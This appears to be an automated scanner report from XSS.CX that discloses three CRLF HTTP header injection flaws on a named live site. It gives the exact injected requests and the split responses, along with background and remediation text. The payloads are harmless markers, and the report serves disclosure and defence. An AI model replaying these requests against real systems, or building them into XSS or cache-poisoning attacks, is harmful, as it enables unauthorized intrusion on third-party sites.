HTTP Header Injection, CWE-113, usm.channelonline.com

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by XSS.CX at Sun Mar 13 07:13:11 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

1. HTTP header injection

1.1. https://usm.channelonline.com/creativeit/storesite/Login [REST URL parameter 1]

1.2. https://usm.channelonline.com/creativeit/storesite/Login [REST URL parameter 2]

1.3. https://usm.channelonline.com/favicon.ico [REST URL parameter 1]


1. HTTP header injection
There are 3 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. https://usm.channelonline.com/creativeit/storesite/Login [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://usm.channelonline.com
Path:   /creativeit/storesite/Login

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 24f04%0d%0a1a65690d249 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /24f04%0d%0a1a65690d249/storesite/Login?destination=/creativeit/storesite/Search/External/index.epl HTTP/1.1
Host: usm.channelonline.com
Connection: keep-alive
Referer: https://usm.channelonline.com/creativeit/storesite/Search/External/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 52616e646f6d495615d7dd24cd232a1c3aea951cd0358c158b101fa8a4208e2f=1; 52616e646f6d49564604094113a3bc0008e7e0ceffd637373767984ac0d9fbee=1; 52616e646f6d495617d08f84a91e1020cdc66b8599b05b1733181d6ea6b41e42=SYHIWXBCAREFJITFPTGP

Response

HTTP/1.1 302 Found
Date: Sat, 12 Mar 2011 22:53:36 GMT
Server: Apache
Location: /24f04
1a65690d249/storesite/Login/?destination=/creativeit/storesite/Search/External/index.epl
Keep-Alive: timeout=20, max=17
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 276

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="/24f04
1a65690d249/storesite/Login/?destination=/
...[SNIP]...
1.2. https://usm.channelonline.com/creativeit/storesite/Login [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://usm.channelonline.com
Path:   /creativeit/storesite/Login

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 771f4%0d%0aaa0674f0cdc was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /creativeit/771f4%0d%0aaa0674f0cdc/Login?destination=/creativeit/storesite/Search/External/index.epl HTTP/1.1
Host: usm.channelonline.com
Connection: keep-alive
Referer: https://usm.channelonline.com/creativeit/storesite/Search/External/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 52616e646f6d495615d7dd24cd232a1c3aea951cd0358c158b101fa8a4208e2f=1; 52616e646f6d49564604094113a3bc0008e7e0ceffd637373767984ac0d9fbee=1; 52616e646f6d495617d08f84a91e1020cdc66b8599b05b1733181d6ea6b41e42=SYHIWXBCAREFJITFPTGP

Response

HTTP/1.1 302 Found
Date: Sat, 12 Mar 2011 22:53:42 GMT
Server: Apache
Location: /creativeit/771f4
aa0674f0cdc/Login/?destination=/creativeit/storesite/Search/External/index.epl
Keep-Alive: timeout=20, max=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 277

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="/creativeit/771f4
aa0674f0cdc/Login/?destination=
...[SNIP]...
1.3. https://usm.channelonline.com/favicon.ico [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://usm.channelonline.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 72a83%0d%0ae0cff0cec3b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /72a83%0d%0ae0cff0cec3b HTTP/1.1
Host: usm.channelonline.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 12 Mar 2011 22:51:04 GMT
Server: Apache
Location: /72a83
e0cff0cec3b/home/
Keep-Alive: timeout=20, max=18
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 205

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="/72a83
e0cff0cec3b/home/">here</A>.<P>
</BODY></H
...[SNIP]...
Report generated by XSS.CX at Sun Mar 13 07:13:11 CDT 2011.